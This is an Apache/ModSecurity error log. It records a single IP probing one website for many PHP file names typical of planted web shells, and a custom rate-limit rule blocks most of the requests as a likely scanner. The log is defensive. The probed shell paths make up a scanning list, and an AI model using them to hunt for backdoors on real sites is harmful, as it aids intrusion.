[Sun Mar 22 15:21:15.270132 2026] [:error] [pid 51363:tid 51447] [client 40.89.156.15:14859] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tool.php"] [unique_id "ab-Ya1wa9x6OCTRkhl0WbAAAAJE"]
[Sun Mar 22 15:21:18.099463 2026] [:error] [pid 51468:tid 51494] [client 40.89.156.15:13926] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tool.php"] [unique_id "ab-Ybk2TppSvA8W5CBSzSQAAANI"]
[Sun Mar 22 15:21:22.966846 2026] [:error] [pid 40039:tid 40045] [client 40.89.156.15:14691] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tool.php"] [unique_id "ab-Ych3aDgUJfBYishlWFAAAAQQ"]
[Sun Mar 22 15:21:24.011915 2026] [:error] [pid 40039:tid 40043] [client 40.89.156.15:13924] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/feokc.php"] [unique_id "ab-YdB3aDgUJfBYishlWGAAAAQI"]
[Sun Mar 22 15:21:24.704134 2026] [:error] [pid 40039:tid 40051] [client 40.89.156.15:14652] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/feokc.php"] [unique_id "ab-YdB3aDgUJfBYishlWGQAAAQo"]
[Sun Mar 22 15:21:27.079746 2026] [:error] [pid 51468:tid 51479] [client 40.89.156.15:14952] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/feokc.php"] [unique_id "ab-Yd02TppSvA8W5CBSzcgAAAMM"]
[Sun Mar 22 15:21:28.525285 2026] [:error] [pid 51361:tid 51374] [client 40.89.156.15:14441] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/feokc.php"] [unique_id "ab-YeBXYUsdvKC9YWpWhmQAAAAM"]
[Sun Mar 22 15:21:29.648953 2026] [:error] [pid 51362:tid 51422] [client 40.89.156.15:14954] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/nc4.php"] [unique_id "ab-YecOwPm3DXzTDjUc-cQAAAFU"]
[Sun Mar 22 15:21:31.275781 2026] [:error] [pid 40039:tid 40046] [client 40.89.156.15:14901] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/nc4.php"] [unique_id "ab-Yex3aDgUJfBYishlWJwAAAQU"]
[Sun Mar 22 15:21:33.653882 2026] [:error] [pid 51362:tid 51402] [client 40.89.156.15:14446] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/nc4.php"] [unique_id "ab-YfcOwPm3DXzTDjUc-mAAAAEI"]
[Sun Mar 22 15:21:34.998426 2026] [:error] [pid 51363:tid 51448] [client 40.89.156.15:14700] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/nc4.php"] [unique_id "ab-Yflwa9x6OCTRkhl0XFAAAAJI"]
[Sun Mar 22 15:21:35.978107 2026] [:error] [pid 51362:tid 51406] [client 40.89.156.15:14339] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp9.php"] [unique_id "ab-Yf8OwPm3DXzTDjUc-nQAAAEU"]
[Sun Mar 22 15:21:37.312554 2026] [:error] [pid 51468:tid 51497] [client 40.89.156.15:14395] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp9.php"] [unique_id "ab-YgU2TppSvA8W5CBSzugAAANU"]
[Sun Mar 22 15:21:38.399452 2026] [:error] [pid 51468:tid 51479] [client 40.89.156.15:13687] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp9.php"] [unique_id "ab-Ygk2TppSvA8W5CBSzvwAAAMM"]
[Sun Mar 22 15:21:40.077803 2026] [:error] [pid 51468:tid 51492] [client 40.89.156.15:14460] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp9.php"] [unique_id "ab-YhE2TppSvA8W5CBSzxAAAANA"]
[Sun Mar 22 15:21:45.854593 2026] [:error] [pid 51468:tid 51490] [client 40.89.156.15:14166] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/images/acxx.php"] [unique_id "ab-YiU2TppSvA8W5CBSz3AAAAM4"]
[Sun Mar 22 15:21:47.338712 2026] [:error] [pid 51468:tid 51496] [client 40.89.156.15:14687] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/images/acxx.php"] [unique_id "ab-Yi02TppSvA8W5CBSz5AAAANQ"]
[Sun Mar 22 15:21:48.071780 2026] [:error] [pid 51362:tid 51406] [client 40.89.156.15:14966] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/images/acxx.php"] [unique_id "ab-YjMOwPm3DXzTDjUc-qAAAAEU"]
[Sun Mar 22 15:21:48.833683 2026] [:error] [pid 51363:tid 51450] [client 40.89.156.15:14349] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/images/acxx.php"] [unique_id "ab-YjFwa9x6OCTRkhl0XJAAAAJQ"]
[Sun Mar 22 15:21:49.530794 2026] [:error] [pid 51468:tid 51493] [client 40.89.156.15:14445] File does not exist: /usr/local/apache/htdocs/suspended-page/fs.php
[Sun Mar 22 15:21:49.865203 2026] [:error] [pid 51468:tid 51491] [client 40.89.156.15:14445] File does not exist: /usr/local/apache/htdocs/suspended-page/byypas.php
[Sun Mar 22 15:21:50.529748 2026] [:error] [pid 51468:tid 51495] [client 40.89.156.15:14445] File does not exist: /usr/local/apache/htdocs/suspended-page/b.php
[Sun Mar 22 15:21:50.978082 2026] [:error] [pid 51468:tid 51496] [client 40.89.156.15:14445] File does not exist: /usr/local/apache/htdocs/suspended-page/ws49.php
[Sun Mar 22 15:21:51.328103 2026] [:error] [pid 51468:tid 51496] [client 40.89.156.15:14445] File does not exist: /usr/local/apache/htdocs/suspended-page/gfd.php
[Sun Mar 22 15:21:51.600541 2026] [:error] [pid 51468:tid 51497] [client 40.89.156.15:14445] File does not exist: /usr/local/apache/htdocs/suspended-page/callback.php
[Sun Mar 22 15:21:51.837745 2026] [:error] [pid 51468:tid 51499] [client 40.89.156.15:14445] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-blogs.php
[Sun Mar 22 15:21:52.080803 2026] [:error] [pid 51468:tid 51481] [client 40.89.156.15:14445] File does not exist: /usr/local/apache/htdocs/suspended-page/ws88.php
[Sun Mar 22 15:21:52.508893 2026] [:error] [pid 51468:tid 51500] [client 40.89.156.15:14445] File does not exist: /usr/local/apache/htdocs/suspended-page/ws86.php
[Sun Mar 22 15:21:52.918117 2026] [:error] [pid 51468:tid 51499] [client 40.89.156.15:14445] File does not exist: /usr/local/apache/htdocs/suspended-page/h2.php
[Sun Mar 22 15:21:53.342451 2026] [:error] [pid 51468:tid 51494] [client 40.89.156.15:14445] File does not exist: /usr/local/apache/htdocs/suspended-page/vanda.php
[Sun Mar 22 15:21:53.634858 2026] [:error] [pid 51468:tid 51482] [client 40.89.156.15:14445] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/domains.php"] [unique_id "ab-YkU2TppSvA8W5CBS0HAAAAMY"]
[Sun Mar 22 15:21:55.195338 2026] [:error] [pid 51468:tid 51489] [client 40.89.156.15:13140] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/domains.php"] [unique_id "ab-Yk02TppSvA8W5CBS0IAAAAM0"]
[Sun Mar 22 15:21:56.787317 2026] [:error] [pid 51468:tid 51488] [client 40.89.156.15:13902] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/domains.php"] [unique_id "ab-YlE2TppSvA8W5CBS0KwAAAMw"]
[Sun Mar 22 15:21:58.723108 2026] [:error] [pid 51468:tid 51489] [client 40.89.156.15:14183] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/domains.php"] [unique_id "ab-Ylk2TppSvA8W5CBS0LwAAAM0"]
[Sun Mar 22 15:22:00.297888 2026] [:error] [pid 51468:tid 51498] [client 40.89.156.15:15158] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/asd.php"] [unique_id "ab-YmE2TppSvA8W5CBS0NwAAANY"]
[Sun Mar 22 15:22:01.872994 2026] [:error] [pid 51363:tid 51441] [client 40.89.156.15:14654] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/asd.php"] [unique_id "ab-YmVwa9x6OCTRkhl0XSQAAAIw"]
[Sun Mar 22 15:22:03.731198 2026] [:error] [pid 51362:tid 51402] [client 40.89.156.15:14960] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/asd.php"] [unique_id "ab-Ym8OwPm3DXzTDjUc-swAAAEI"]
[Sun Mar 22 15:22:04.902012 2026] [:error] [pid 51468:tid 51481] [client 40.89.156.15:14182] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/asd.php"] [unique_id "ab-YnE2TppSvA8W5CBS0QQAAAMU"]
[Sun Mar 22 15:22:05.962072 2026] [:error] [pid 51363:tid 51441] [client 40.89.156.15:15190] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zc-104.php"] [unique_id "ab-YnVwa9x6OCTRkhl0XWQAAAIw"]
[Sun Mar 22 15:22:06.852483 2026] [:error] [pid 51362:tid 51409] [client 40.89.156.15:14337] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zc-104.php"] [unique_id "ab-YnsOwPm3DXzTDjUc-tgAAAEg"]
[Sun Mar 22 15:22:07.730651 2026] [:error] [pid 40039:tid 40045] [client 40.89.156.15:14354] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zc-104.php"] [unique_id "ab-Ynx3aDgUJfBYishlWnwAAAQQ"]
[Sun Mar 22 15:22:08.819899 2026] [:error] [pid 51363:tid 51448] [client 40.89.156.15:14662] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zc-104.php"] [unique_id "ab-YoFwa9x6OCTRkhl0XZQAAAJI"]
[Sun Mar 22 15:22:09.603314 2026] [:error] [pid 51363:tid 51428] [client 40.89.156.15:14906] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rzki.php"] [unique_id "ab-YoVwa9x6OCTRkhl0XaAAAAIA"]
[Sun Mar 22 15:22:10.390468 2026] [:error] [pid 40039:tid 40056] [client 40.89.156.15:14376] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rzki.php"] [unique_id "ab-Yoh3aDgUJfBYishlWogAAAQ8"]
[Sun Mar 22 15:22:12.584646 2026] [:error] [pid 51468:tid 51476] [client 40.89.156.15:14424] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rzki.php"] [unique_id "ab-YpE2TppSvA8W5CBS0SwAAAMA"]
[Sun Mar 22 15:22:13.587086 2026] [:error] [pid 51363:tid 51452] [client 40.89.156.15:14605] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rzki.php"] [unique_id "ab-YpVwa9x6OCTRkhl0XbQAAAJY"]
[Sun Mar 22 15:22:14.645995 2026] [:error] [pid 51468:tid 51480] [client 40.89.156.15:14879] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xsas.php"] [unique_id "ab-Ypk2TppSvA8W5CBS0UgAAAMQ"]
[Sun Mar 22 15:22:15.359814 2026] [:error] [pid 51362:tid 51404] [client 40.89.156.15:14653] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xsas.php"] [unique_id "ab-Yp8OwPm3DXzTDjUc-wAAAAEM"]
[Sun Mar 22 15:22:15.905400 2026] [:error] [pid 51361:tid 51371] [client 40.89.156.15:14613] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xsas.php"] [unique_id "ab-YpxXYUsdvKC9YWpWhzgAAAAA"]
[Sun Mar 22 15:22:16.657228 2026] [:error] [pid 51362:tid 51402] [client 40.89.156.15:14945] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xsas.php"] [unique_id "ab-YqMOwPm3DXzTDjUc-xgAAAEI"]
[Sun Mar 22 15:22:17.919613 2026] [:error] [pid 51363:tid 51452] [client 40.89.156.15:14361] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/d12.php"] [unique_id "ab-YqVwa9x6OCTRkhl0XeAAAAJY"]
[Sun Mar 22 15:22:18.632681 2026] [:error] [pid 51363:tid 51428] [client 40.89.156.15:14893] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/d12.php"] [unique_id "ab-Yqlwa9x6OCTRkhl0XegAAAIA"]
[Sun Mar 22 15:22:20.312531 2026] [:error] [pid 51361:tid 51371] [client 40.89.156.15:14940] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/d12.php"] [unique_id "ab-YrBXYUsdvKC9YWpWh7gAAAAA"]
[Sun Mar 22 15:22:21.332823 2026] [:error] [pid 51468:tid 51495] [client 40.89.156.15:14088] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/d12.php"] [unique_id "ab-YrU2TppSvA8W5CBS0WAAAANM"]
[Sun Mar 22 15:22:24.135708 2026] [:error] [pid 51363:tid 51453] [client 40.89.156.15:14097] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/okxh.php"] [unique_id "ab-YsFwa9x6OCTRkhl0XhwAAAJc"]
[Sun Mar 22 15:22:25.321456 2026] [:error] [pid 40039:tid 40063] [client 40.89.156.15:14447] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/okxh.php"] [unique_id "ab-YsR3aDgUJfBYishlWsAAAARY"]
[Sun Mar 22 15:22:26.564954 2026] [:error] [pid 51468:tid 51500] [client 40.89.156.15:15225] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/okxh.php"] [unique_id "ab-Ysk2TppSvA8W5CBS0agAAANg"]
[Sun Mar 22 15:22:27.364248 2026] [:error] [pid 51468:tid 51487] [client 40.89.156.15:14650] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/okxh.php"] [unique_id "ab-Ys02TppSvA8W5CBS0bQAAAMs"]
[Sun Mar 22 15:22:28.140765 2026] [:error] [pid 51468:tid 51494] [client 40.89.156.15:14153] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/55b76.php"] [unique_id "ab-YtE2TppSvA8W5CBS0cwAAANI"]
[Sun Mar 22 15:22:28.764215 2026] [:error] [pid 51468:tid 51487] [client 40.89.156.15:14697] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/55b76.php"] [unique_id "ab-YtE2TppSvA8W5CBS0dAAAAMs"]
[Sun Mar 22 15:22:30.295597 2026] [:error] [pid 51363:tid 51442] [client 40.89.156.15:14193] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/55b76.php"] [unique_id "ab-Ytlwa9x6OCTRkhl0XmQAAAI0"]
[Sun Mar 22 15:22:31.583563 2026] [:error] [pid 51362:tid 51407] [client 40.89.156.15:13132] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/55b76.php"] [unique_id "ab-Yt8OwPm3DXzTDjUc_BwAAAEY"]
[Sun Mar 22 15:22:32.521970 2026] [:error] [pid 51468:tid 51484] [client 40.89.156.15:15206] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tt.php"] [unique_id "ab-YuE2TppSvA8W5CBS0jwAAAMg"]
